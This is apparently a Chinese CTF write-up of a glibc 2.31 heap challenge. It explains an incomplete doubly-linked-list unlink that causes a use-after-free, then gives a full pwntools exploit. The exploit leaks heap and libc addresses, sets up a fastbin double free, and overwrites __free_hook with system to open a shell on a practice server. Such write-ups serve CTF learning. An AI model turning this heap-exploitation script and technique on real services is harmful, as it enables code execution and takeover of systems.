题目分析
有Add,Show,Delete三种操作
Add:
读取名字和内容,并根据名字计算出一个idx,插入到对应的链表中。
Show
根据idx输出某个链表内所有的内容
Delete
先计算出所在的idx,然后再从链表中摘下对应的Node
漏洞分析
漏洞在Delete 函数中,当从链表中摘下一个节点时,由于是双向链表,应该有这样的操作:
CurNode->prev->next = CurNode->next //1
CurNode->next->prev = CurNode->prev //2
但是这里只有操作1
示例
当从链表中删除2 节点时,删除之后的样子是:
此时我们再删除掉3节点:
由于3的prev指向的是2,所以删掉3节点之后,1节点的next指针任然指向的是3节点。
此时我们就可以 UAF 了。
利用
通过上面的操作,很容易就可以leak heap base和libc base,之后的操作有一点复杂。
通过UAF 可以造成double free,由于tcache bin 有double free的检测,同时还会再一次free 掉content,而content是存在于 unsorted bin或者tcache bin,所以只能在fastbin中double free,并且在double free之前必须使content 被重新分配,这样double free在free(content)的时候才不会崩溃
大概的构造方法:
leak 掉libc 和 heap 后,此时tcache bin中的0x210和0x30的chunk 都是7个。unsorted bin里面应该也有一个
- 再free 6个node ,填到unsorted bin里面 (要保证不会合并)
- 再free 1个node , 这个用来double free
- 再free 几个node ,主要是填充fast bin 0x30的位置,unsorted bin是先进先出的 (这点需要注意) (这些node 会在一会清空tcache 的时候会被使用掉,)
- 接着add 清空tcache bin 的0x210的chunk,此时注意unsorted bin里面的chunk
- 接着我们再add一个,此时由于0x210的tcache 是空的,会从unsorted bin bk开始,取出7个填到tcache bin里面,然后返回红色圈主的那个chunk,而那个chunk是double free node 的 content指针
- 此时double free的0x30 chunk 还留在fast bin中 (需要再第三步free 足够多才行)
- 接着就可以利用double free
之后的操作:
double free之后可以fastbin attack修改fd,但是fd要修改到哪里呢?
我们可以修改fd 到 某个0x210 chunk 内伪造的chunk,而且此时这个 0x210 的chunk还没有被分配, 而且伪造的0x30被分配之后,这个0x210的chunk还没有被分配。
那么之后我们就可以通过这个0x210的chunk修改0x30chunk的内容
看这里这几步操作,我们如果把last 修改为 free_hook - 0x20,并且把next 修改为 system地址,content 修改为bin_sh地址,那么上述操作实际上就是:
if (last) //last = &__free_hook - 0x20
last->next = system
system(“/bin/sh”),然后就可以getshell了!
而这些都可以通过那个0x210的chunk来修改!
exp:
from pwn import*
libc = ELF('libc-2.31.so')
#sh = process('./pwn')
sh= remote('node4.buuoj.cn',28680)
def add(name,content):
sh.sendlineafter(b'> ',b'1')
sh.sendlineafter(b'name: ',name)
sh.sendlineafter(b'content: ',content)
def free(name):
sh.sendlineafter(b'> ',b'3')
sh.sendafter(b'name: ',name.encode().ljust(0x10,b'\x00'))
def show(idx):
sh.sendlineafter(b'> ',b'2')
sh.sendlineafter(b'idx: ',str(idx).encode())
def hash(s):
val = 0
for c in s:
val = val * 19 + c
return val&0x37
def get_name(addr,idx):
name = p64(addr)[:7]
for a in range(26):
for b in range(26):
for c in range(26):
for d in range(26):
tmp = name
tmp += p8(ord('a') + a)
tmp += p8(ord('a') + b)
tmp += p8(ord('a') + c)
tmp += p8(ord('a') + d)
tmp = tmp.ljust(0x10,b'\x00')
if hash(tmp) == idx:
return tmp
return None
def make_name(addr,idx):
name = p64(addr)
for a in range(26):
for b in range(26):
for c in range(26):
for d in range(26):
tmp = name
tmp += p8(ord('a') + a)
tmp += p8(ord('a') + b)
tmp += p8(ord('a') + c)
tmp += p8(ord('a') + d)
tmp = tmp.ljust(0x10,b'\x00')
if hash(tmp) == idx:
return tmp
return None
idx_33 = ['jpze','jpzm','jqcq','jqcy','jqdf']
idx_32 = ['jpyo','jqbs','jqch']
idx_35 = ['jqay','jqbf','jqbn','jqem']
idx_37 = ['jqdj','jpwb','jpwb','jpzi','jpzq','jqac','jqcu','jqdb','jqgq','jqgi']
idx_36 = ['jqcd','jqcl','jqfk','jqfs','jqir','jqiz','jqjg','jqly','jqst']
idx_39 = ['aabj','aabr','aaeq','aaey','aaff','aahx','aaie','aaim','aall','aalt']
idx_1 = ['aaaj','aaar','aadq','aady','aaef','aagx','aahe','aahm','aakl','aakt']
for i in range(5):
add(idx_33[i],b'')
add(idx_32[2],b'2')
add(idx_32[1],b'3')
add(idx_32[0],b'4')
add(idx_35[3],b'')
add(idx_35[2],b'')
add(idx_35[1],b'')
for i in range(10):
add(idx_37[9 - i],b'\x00' * 0x40 + p64(0) + p64(0x31))
for i in range(9):
add(idx_36[i],b'')
for i in range(7):
add(idx_39[i],b'')
add(idx_1[0],b'')
for i in range(5):
free(idx_33[4 - i])
#for i in range(7):
# add(idx_39[i],b'')
free(idx_32[1])
free(idx_32[2])
show(32)
sh.recvuntil(b'=>')
sh.recvuntil(b'=> ')
heap_base = u64(sh.recvline()[:-1].ljust(8,b'\x00')) - 0x1050
log.success('heap_base:%x',heap_base)
#leak libc base
add(idx_35[0],b'')
#libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ebbe0
#log.success('libc_base:%x\n',libc_base)
free(idx_35[1])
free(idx_35[2])
show(35)
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ecbe0
log.success('libc_base:%x',libc_base)
addr = heap_base + 0x2d50
name= get_name(addr,37)
if name == None:
print("failed!")
else:
print(name)
# -> unsorted bin
for i in range(5):
free(idx_37[9 - i])
free(idx_37[1])
free(idx_37[2]) #double free
free(idx_36[8])
free(idx_36[7])
for i in range(7):
free(idx_39[i])
for i in range(7):
add(idx_36[6],b'')
idx_1 = ['aaaj','aaar','aadq','aady','aaef','aagx','aahe','aahm','aakl','aakt']
add(idx_1[9],b'')
addr = heap_base + 0x1e10
#double free
sh.sendlineafter(b'> ',b'3')
sh.sendafter(b'name: ',name)
#idx:7, modify fd ptr
name1 = make_name(addr,7)
add(name1,b'')
add(idx_1[8],b'')
add(idx_1[7],b'')
#sleep(2)
log.success('addr:%x ',addr)
add(idx_1[0],b'')
payload = b'a' * 0x40
payload += p64(0) + p64(0x31)
payload += idx_1[0].encode().ljust(16,b'\x00')
payload += p64(libc_base + 0x1B45BD)
payload += p64(libc_base + libc.symbols['__free_hook'] - 0x20)
payload += p64(libc_base + libc.symbols['system'])
add(idx_35[0],payload)
#gdb.attach(sh)
#sleep(1)
free(idx_1[0])
#gdb.attach(sh)
sh.interactive()
(靶机的libc和题目附件中的libc版本不一致,靶机中使用的是: 2.31-0ubuntu9.9_amd64)